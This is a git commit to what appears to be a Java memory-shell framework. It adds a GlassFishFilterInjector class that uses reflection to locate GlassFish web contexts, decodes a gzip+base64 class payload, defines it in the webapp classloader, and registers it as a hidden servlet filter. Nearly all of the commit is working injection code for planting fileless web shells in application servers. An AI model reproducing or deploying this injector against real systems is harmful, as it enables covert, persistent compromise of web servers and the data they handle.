fix: /osgi context not webContext

This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent b2520eebac
commit f09ae066bd
2 changed files with 220 additions and 3 deletions
@@ -2,8 +2,8 @@ package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
@@ -43,8 +43,8 @@ public class GlassFishShell extends AbstractShell {
return InjectorMapping.builder()
.addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
.addInjector(FILTER, TomcatFilterInjector.class)
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
.addInjector(FILTER, GlassFishFilterInjector.class)
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class)
@@ -0,0 +1,217 @@
package com.reajason.javaweb.memshell.injector.glassfish;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* Date: 2022/11/01
* Author: pen4uin
* Description: Tomcat Filter 注入器 Tested version jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author ReaJason
*/
public class GlassFishFilterInjector {
static {
new GlassFishFilterInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public GlassFishFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
// skip glassfish /osgi context
if (getFieldValue(context, "serverContext") != null) {
Object shell = getShell(context);
inject(context, shell);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* com.sun.enterprise.web.WebModule
* /xxx/modules/web-glue.jar
*/
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
try {
return webAppClassLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
}
}
@SuppressWarnings("all")
public void inject(Object context, Object shell) throws Exception {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return;
}
Object filterDef;
Object filterMap;
ClassLoader contextClassLoader = context.getClass().getClassLoader();
try {
// tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
} catch (Exception e2) {
// tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
}
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
try {
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
} catch (Exception e) {
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{shell.getClass()});
}
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
Constructor<?>[] constructors;
try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} catch (Exception e) {
// tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
}
try {
// v7.0.0 以上
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
Constructor filterConfigConstructor;
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterConfigConstructor.setAccessible(true);
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(getClassName(), filterConfig);
System.out.println("filter inject success");
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException();
}
}